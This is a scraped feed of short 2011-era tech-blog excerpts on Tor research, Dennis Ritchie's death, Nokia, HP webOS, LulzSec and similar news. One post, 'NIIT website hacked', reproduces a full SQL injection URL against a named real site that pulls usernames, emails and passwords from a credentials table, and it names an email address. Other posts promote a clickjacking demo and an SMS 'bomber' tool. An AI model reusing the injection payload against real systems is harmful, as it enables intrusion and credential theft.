TOR got compromised !!! Finally Onion got pealed off..

Tor anonymizing network Compromised by French researchers French researchers from ESIEA, a French engineering school, have found and exploited some serious vulnerabilities in the TOR network. They performed an inventory of the network, finding 6,000 machines, many of whose IPs are accessible publicly and directly with the system’s source code. They demonstrated that it is possible to take control of the network and read all the messages that circulate. But there are also hidden nodes, the Tor Bridges, which are provided by the system that in some cases. Researchers have developed a script that, once again, to identify them. They found 181. "We now have a complete picture of the topography of Tor," said Eric Filiol. The specific...

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Dennis Ritchie co-creator of C and Unix dies at 70

Dennis Ritchie known as the co-creator of C and Unix has died at the age of 70 . Having created arguably the best OS which has spawned better clones like BSD and GNU/Linux and a language truly designed for programming, he will be missed by all who use products of his legacy . RIP Dennis...

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Nokia's gamble with Linux

After failing to capture the hearts or rather the pockets of people with the S40 and facing severe attrition , Nokia is reintroducing Linux(not again) into its line of mobile phones operating systems.Nokia has announced that it will be developing a new linux based operating system called meltemi which will run on its low end phones that will replace the current crop of S40 based feature phones.Linkhttp://www.bgr.com/2011/09/29/nokia-to-turn-mobile-landscape-on-its-head-with-meltemi-smartphone-os/http://www.itworld.com/hardware/208803/nokia-readies-linux-os-low-end-smartphonesAnother key factor in mellemi is the development of applications . Apps will be developed using the Qt Toolkit which was acquired by Nokia from Trolltech and since then...

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HP Pulling the plug on touchpad

Its all over the news.HP is closing down its WebOS division and is pulling the plug on its Touchpad and other WebOS devices.The Palm Pre 3 which was to released this year has been cancelled .Currently HP is looking for buyers for its WebOS division. HP is also reportedly shutting down its Personal Computer Systems division (indeed you might have chanced upon the full page adverts in The Hindu) and is keen on selling it too and concentrate only on the enterprise and software market. The PCS division is supposed to value around 40 Billion USD. While WebOS did not turn out to the iPad Killer it was deemed to be , It wasnt a bad OS.WebOS is still one of the most advanced OSes for embedded devices in terms of process management and UI. Critics...

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QuakeCon 2011

QuakeCon is a big massive LAN gaming event orgainzed every year in Dallas , Texas,US.Named after id Software's Quake Game ( one of the first online multiplayer FPS ) its the worlds biggest LAN party and goes on for four days . It has become the premier event where new games are launched or details regarding them are published. Its a free event run by Volunteers and is called as a week of "peace , love and rockets". This year's Quakecon started off with a keynote from id's John Cormack the key developer behingd Quake and Doom a URL to his keynote is given below : http://www.youtube.com/watch?v=4zgYG-_ha28&feature=player_embedded The offcial YouTube Channel is Quakecon2011 Stay tuned for more info Cheerios Darkligh...

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HTC Corporation launches new version of smart phone HTC ChaCha

In a view to target tech-savvy youth in India, cellphone-maker HTC Corporation , along with the GSM arm of Tata Teleservices, Tata DOCOMO, on launched its new version of smart phone, HTC ChaCha that features a dedicated Facebook button. The smart phone version is priced at Rs 15,990. "At HTC, we always strive to take mobility experience to newer levels and add multi dimensions to our devices.By featuring a dedicated Facebook button, we aim to make it simpler and convenient for our users to share and connect through their favourite social networking sites," HTC Country Manager Faisal Siddiqui told reporters here. The sleek feature-packed smart phone that combines a 2.6-inch touch screen with a full QWERTY keypad, was launched by Bollywood actress Riya Sen. "The smart phone is...

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LulzSec Hacks Arizona State Police, Posts Officer Info - t3ch.in

Lulz Security's hacking continues to get political: on Friday the group attacked the Arizona Department of Public Safety in retaliation for immigration laws."We are releasing hundreds of private intelligence bulletins, training manuals, personal email correspondence, names, phone numbers, addresses and passwords belonging to Arizona law enforcement," LulzSec said in a statement. "We are targeting AZDPS specifically because we are against SB1070 and the racial profiling anti-immigrant police state that is Arizona."Senate Bill 1070 is the law that requires aliens to carry registration documents with them at all times.Arizona officials have confirmed that the documents leaked by LulzSec are authentic. The attack appears to be part of Operation Anti-Security, a push by LulzSec...

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The New Opera Mini 6 a Hit -t3ch.in

The new version of Opera Mini 6 has hit the market. The updated version of Opera Mini 6 is said to be six-times faster while browsing even on slower and crowded networks. It has a fully automatic browser, which automatically adapts to the high resolution of the device and will automatically change the user interface to accommodate the screen size. The new Opera Mini has been given a fresh and unique look. It has super smooth pinch-to-zoom and panning. The new Opera Mini has support for iPhone 4 retina display, iPad, and iPad 2 devices. Earlier, it was difficult to connect to Facebook by the older version of Opera Mini but now there won't be any such hassles as the new Opera Mini 6 has direct share on Facebook, Twitter, and My Opera. While...

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Social Jacking tutorial - t3ch.in

here is the Tutorial for Social jack , ...

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Social Jacking , new way of online attack

Hi Guys ,                 i Introduce Social Jacking , I think you all are first familiar with Click Jacking , this method is used to steal information from user using cross site scripting , similar to that i found an another attack called Social Jacking , It is combination of Social Engineering and Click Jacking , where css absolute positioning property is used to hide all the unwanted elements from the victims page that is displayed using iframe and only button are made to seen and some social engineering tricks are used to make the user to click them . I had made a small demo by performing clickjacking on google sms channel , just try it out , i assure it does not harm your account , before going to the below link...

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Automated program compilation and evaluation library.

HI guys i written by first java library , which allows users to compile and check output of java and c program , such as done in programming websites like code chef , top coder etc. You can import this library to this program and use it in your own program . The demo and download link of the project is http://sourceforge.net/p/vtester/wiki/Home/ for direct download of demo use http://sourceforge.net/projects/vtester/files/ This works currently in Linux alone , you need JRE to run this application. Screen Shot...

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firefox addon with 7 million download can invade privacy

Source: theregister.co.uk A high-rated Firefox extension with more than 7 million downloads secretly collects data about every website the open-source browser visits and combines it with uniquely traceable information tied to the user, an independent security researcher said. The undisclosed behavior of the Ant Video Downloader and Player add-on takes place even when the Firefox private browsing mode is turned on or when users are availing themselves of anonymity services such as Tor. The add-on carries a rating of four out of five possible stars and gets an average of almost 7,000 downloads per day, according to official Mozilla statistics. The revelations raise new questions about the safety of extensions offered on Mozilla's website....

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foss news letter , check it out

Are you FOSS enthusiastic , check this new letter , read it , get enriched , Table of contents: Download at : http://ubuntuone.com/p/uZh/  Contents 1. Linux job portal launched: LinuxCareer.com 2. The Perfect Desktop - Kubuntu 11.04 3. 6 Important Changes in Next Ubuntu 11.10 Oneiric Ocelot 4. Perl 5.14 Improves IPv6, Unicode 5. The top 20 strongholds for desktop Linux 6. MeeGo 1.2 Release 7. Python 3: Building a Wiki Application 8. 5 Skype alternatives for Linux users 9. Download VirtualBox 4.0.8 for Ubuntu 11.04 and RHEL 6 10. Linux 2.6.39 Kernel Released With New Features & Bugs 11. Revisited: SimplyMEPIS 11.0 12. Top Games for Linux! 13. RHEL 6.1 lays foundation for future servers 14. Distribution Release: Red Hat Enterprise Linux 6.1 et...

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Low band width streaming of slideshow , an alternate to video tutorials.

A Guy from IIT delhi named Narendra Sisodiya , has introduced an innovative approach , where he embedded html slides and added voice and created a slideshow method , thus only html + audio is used to render the slideshow , normally video occupies 90% bandwidth and audio 10% bandwidth , thus here we use only audio and html5 to provide the slides , thus no video so faster streaming , the demo is available at http://code.narendrasisodiya.com/slidecast/demo-slidecasting.html It looks like a video , but it is not a video , it is html5 magic ... A good approach :)...

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NIIT website hacked by some hacker

[update]: This hack may not work now some modification may be done. I got the following passwords list from a google groups called null , and the person who claimed to hack this site and who posted this information on the group is ,  4g3n71337@gmail.com  some team called   TIGERS OF INDIAN CYBER have done this , Proof of concept can be found at http://gis.niit-tech.com/eits/eies/courseview1.asp?ccd=Introduction%20to%20ArcGIS%209.3.x%27%20or%201=convert%28int,%28char%28126%29%2b%28SELECT%20TOP%201%20cast%28ch_level%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28ch_username%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28empno%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28mail%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28pass%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28Full_name%20as%20nvarchar%284000%29%29%20COLLATE%20SQL_Latin1_General_Cp1254_CS_AS%20FROM%20%28SELECT%20TOP%2030%20ch_level,ch_username,empno,mail,pass,Full_name%20FROM%20credentials%20order%20by%20ch_level%20asc%29%20sq%20order%20by%20ch_level%20desc%29%2bchar%28126%29%29%29%20and%20%271%27=%271 and this...

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Indian telcos add 9mn 3G users in 4 months

Indian telcos add 9mn 3G users in 4 monthsAirtel , Docomo the leaders of the 3G in India having a greater number of 3G users than other service providers , they assured that 9 millioncustomers will be newly subscribed to 3G within 4 months, less cost , more affordability and usage of mobile based web services has lead to thistremndous growth .....

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way2sms sender / bomber latest

Hi guys i made this new application called way2sms sender client , written in java , through which you can send sms from your desktop to your friends , and you can specify the amount of sms to be sent from the client which can acts as a bomber , but i strictly dont recommend it , since over spamming can be detected and lead to account disconnection . The details of the software : Download Link : https://sourceforge.net/projects/way2smsclient/ Note you need java run time environment to run the application , currently the application works only in windows operating system having internet explorer 6 or above .hope you like it .  ...

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Access facebook without gprs in Airtel

Hi Guys , A new service started by Bharti Airtel will let any mobile phone user to access Facebook for just a rupee a day. The beauty of this service is that it works on virtually any GSM mobile phone, even if it is not internet-enabled. This new service makes use of USSD (Unstructured Supplementary Service Data) service, which is a protocol used by GSM to communicate with service provider s computers. Those who have had mobile phones for over a decade, may remember that USSD had been in use in the form of WAP-over-SMS to access mobile internet in phones not supporting any form of internet connectivity. Due to the limitations of the technology, the interactivity is also limited to status updates, "friend" requests and posting text on walls. While Facebook is the dominant social networking...

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See who’s poking your Linux box

If you’re using SSH and you have your ports wide open to the world, your best bet would be to install fail2ban. If you’re curious though as of whom is trying to get in by bruteforcing your SSH passwords, you might get a clear view with the following command:grep “POSSIBLE BREAK-IN ATTEMPT” /var/log/auth.logThis will verbose a list detailing each break-in attempt that has been made, with the exact date, hour, minute and second of it. It will also display the point of origin of these attempts, in a fashion similar to this one: Jul 21 13:54:35 brunner sshd[12144]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT! Jul 21 13:54:38 brunner sshd[12146]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net...

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Firefox 4 RC (for Android): Hands On

Firefox 4 RC for Android may eventually torch the stock Android browser. It's faster than previous releases, dons a trimmer interface, and tucks new tricks up its e-sleeve, notably smart taps and single-click bookmarks.Pile on the Add-Ons — for customizing the browser's look and feel (and functionality)—and Firefox Sync — for synchronizing bookmarks, history, passwords, and preferences with your desktops — and Mozilla moguls will find plenty of reasons to bookmark the mobile browser.Yet, despite bringing a real frontrunner to the desktop market, Firefox is still just a candidate in the mobile space. It's faster than previous builds, but, compared with Android's stock browser andOpera Mobile 11, it doesn't lap the pack. It lacks...

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